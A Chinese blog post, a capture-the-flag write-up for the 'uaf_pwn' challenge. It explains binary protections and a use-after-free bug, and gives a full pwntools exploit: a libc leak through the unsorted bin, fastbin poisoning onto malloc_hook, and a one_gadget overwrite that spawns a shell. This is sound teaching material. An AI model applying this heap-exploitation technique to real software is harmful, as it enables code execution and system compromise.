首页 > 其他分享 >绿城杯uaf_pwn 分析

绿城杯uaf_pwn 分析

时间:2022-12-31 12:55:24浏览次数:47  
标签:malloc idx 堆块 libc 绿城 pwn recvuntil hook uaf

绿城杯uaf_pwn 分析

10月11日~10月15日

一、信息收集

RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。RELRO为“Full RELRO”,对GOT表没有写入权限。

Stack:栈溢出保护,当启用栈保护后,函数开始执行的时候就会向往栈里插入cookie信息,当函数真正返回的时候回验证cookie信息是否合法,若果不合法就会停止程序运行。

NX:全称(NO-execute)不可执行的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。

PIE:PIE (ASLR) 全称(position-independent exeecutable)。中文为地址无关可执行文件。该技术是一个针对代码段(.text)、数据段(.data)、为初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时变换加载地址,从而不能通过ROPgadget等工具帮助解题。

文件保护检查栈溢出关闭,但本题目与栈溢出无关。

二、逆向分析文件

Main 函数逆向伪码

malloc函数中创建堆块存放到数组中

Python
buffer_array[10];

漏洞存在free功能中没有将指针置零。

文件存在UAF漏洞。

libc对堆块释放的管理

Fast bin 单链表结构,采用LIFO(后进先出) 的分配策略。表里的chunk不会合并,PREV_INUSE 始终为1.在fastbinsY数组里按大小的顺序排列,下标为0的fastbin中容纳chunk的大小 4*SIZE_SZ。随着序号增加,容量chunk递增2 * SIZE_SZ。

unsortedbin 双链表结构,采用FIFO(先进先出)的分配策略。容纳的chunk大小可以不同

small bin 双链表结构,容纳的chunk大小相同。每个small bin的大小为2 * SIZE_SE * idx(下标)。64位系统中最小的small chunk位2x8x2=32字节,最大small chunk为2 x 8 x 63 = 1008字节。

large bin 双链表结构

攻击思路

1.泄漏libc地址

2.计算system函数地址

3.利用UAF漏洞申请到malloc_hook地址空间

3.使用malloc_hook获取getshell

三、攻击细节

运行环境:ubuntu16 libc-2.23_x64.so

Python
from pwn import *
import pdb
# -*- coding: utf-8 -*-


debug = 1
if (debug):
p = process("./uaf_pwn")
else:
p = remote('node4.buuoj.cn', 25403)



libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")




def malloc(size):
p.recvuntil(">")
p.sendline("1")
p.recvuntil("size>")
p.sendline(str(size))



def free(idx):
# p.recvuntil(">")
p.sendline("2")
p.recvuntil("index>")
p.sendline(str(idx))



def fill(idx,payload):
p.recvuntil(">")
p.sendline("3")
p.recvuntil("index>")
p.sendline(str(idx))
p.recvuntil("content>")
p.send(payload)



def show(idx):
p.recvuntil(">")
p.sendline("4")
p.recvuntil("index>")
p.sendline(str(idx))
return p.recv()[:-1]



malloc(0x100) # idx 0 use unsorted_bin get main_arena offset
malloc(0x60) # idx 1
free(0)
leakaddr = show(0)# leak <main_arena + 88>
libc_base = u64(leakaddr+b'\x00'+b'\x00') - 0x3c4b78


print(hex(libc_base))


malloc_hook = libc.symbols['__malloc_hook'] +libc_base
one_gadget = libc_base + 0x4527a
free(1) #idx 1



fill(1,p64(malloc_hook-0x23)) # chunk1_fd = malloc_hook
malloc(0x60) # idx 2 get idx_1's chunk
malloc(0x60) # idx 3
fill(3,b'a'*0x13+p64(one_gadget))


malloc(0x10)


p.interactive()

1.泄漏main_arena地址计算libc_base.

创建大小0x100的堆块 idx-0,随后free堆块 idx-0,因为没有将堆指针置零 所以在释放后还可以继续使用,调用printf功能输出main_arena+88 地址。idx-0 会被libc存放到unsortedbin 链表中。当fastbins表为空闲时 unsortedbin 链表上的fd与bk都会指向main_arena。

计算li bc地址,当前获取了main_arena+88 。当前运行环境为ubuntu16 libc2.23_x64.so库。

使用ida加载libc-2.23_x64.so 搜索malloc_trim函数,对照源码可得 0x3C4B20 是main_arena 的偏移地址。

源码中 malloc_trim 函数

[该类型的内容暂不支持下载]

计算公式为 libc_base = main_arena+88 - 0x3c4b20.

2.使用malloc_hook 方法拿到getshell

这里使用fastbins机制。

利用fastbins 链表中依赖fd查找下一个堆块的机制,申请到malloc_hook的堆块。

向malloc_hook中写入gadget来执行execve函数获取shell。

假设申请两个堆块idx0 idx1 大小为0x40,free掉两个堆块后 存放在fastbins链中,同时fastbins的结构是LIFO,就是最后free的堆块,malloc时最先返回使用。其维护free后堆块的fd指针来维护单链表结构。

malloc(0x40)返回idx1堆块,在malloc的时候,fastbins会根据idx1的fd指针找到idx0,然后删除idx1堆块。如果能修改free掉的idx1中fd指针,把它指向一个想要的地方,那就可以实现任意写了。

本题存在uaf漏洞所以可直接申请0x60大小的堆块,free后调用fill功能修改堆块中fd的指针。将其指向malloc_hook-0x23地址中,连续申请两个堆块idx0,idx1. 此时idx1为malloc_hook 堆空间,调用fill功能写入shellcode到malloc_hook堆空间中。任意创建一个堆块调用malloc函数触发malloc_hook 执行shellocde获取getshell。

完。

参考链接:

libc在线源码查看---所有版本

https://elixir.bootlin.com/glibc/glibc-2.23.90/source/malloc/malloc.c

ge12

 

 

 

关注微信公众号或者可以直接加作者微信:

 

 

 

标签:malloc,idx,堆块,libc,绿城,pwn,recvuntil,hook,uaf
From: https://www.cnblogs.com/haidragon/p/17016390.html

相关文章

  • buuoj-pwn-ciscn_2019_final_10
    buuoj-pwn-ciscn_2019_final_10总结题目分析glibcubuntu18.04,对应GLIBC2.27,对于这题,我们知道doublefree没检查就行逆向分析关键函数一第一个箭头所指没法绕过,随便......
  • 2022-qgb-final-pwn-revm
    REVM总结这是一道很简单的题目,但是我也学到了很多!(虽然比赛时失误没看到return导致打栈地址失败),收获如下:静态编译没符号可以使用导入sig文件或者bindiff一个对应版本的......
  • Pwn入门题两道 netcat使用与栈溢出
    Pwn入门题两道 netcat使用与栈溢出   第一道题,先下载test,再把文件拖到ida中打开.点击main函数,按f5反汇编.   看到system(“/bin/sh”)这行代码.可以理解......
  • buuoj-pwn-pwnable_bf
    buuoj-pwn-pwnable_bf总结bss段上存储libc地址的地方有很多,最值得注意的就是stdin、stdoutbrainfuck的认识(虽然这题没用[、]),如下:题目分析简单一看就知道本......
  • buuoj-pwn-gwctf_2019_shellcode
    buuoj-pwn-gwctf_2019_shellcode总结可见字符shellcode优先判断能不能利用\x00非预期一手题目分析IDA打开,看不了main函数,但是汇编也挺简单的,看看汇编就知道是打开沙......
  • buuoj-pwn-starctf_2019_babyshell
    buuoj-pwn-starctf_2019_babyshell逆向分析GLIBCubuntu16,不涉及内存管理也没啥需要讲的关键函数主函数__int64__fastcallmain(__int64a1,char**a2,char**a3......
  • PWN ORW 最短的shellcode(33字节!)
    前言:下面的rdx就是read(1,buf,n)中的n,这个值太大或者太小都没办法正常读。所以分两种大情况:orw:(64bit,34字节,针对需要调整rdx的情况:)shellcode=asm('''movedx,0x6761......
  • pwnable.kr-pwn-fd
    pwnable.kr-pwn-fd总结主函数参数argv[1]就是直接传入的值在linux中,s指的是“强制位权限”,位于user或group权限组的第三位置题目分析ssh连上以后,得以下fd@pwnable:......
  • buuoj-pwn-ACTF_2019_message
    buuoj-pwn-ACTF_2019_message总结低版本存在uaf时优先考虑doublefree给信号注册函数的函数signal()逆向分析glibc版本ubuntu18.04也就是glibc2.27对于这道题,我们......
  • pwn | ciscn_2019_s_3
    pwn|ciscn_2019_s_3x64ret2syscall主要参考:https://blog.csdn.net/github_36788573/article/details/103541178感觉ret2syscall比较灵活,哎。frompwnimport*con......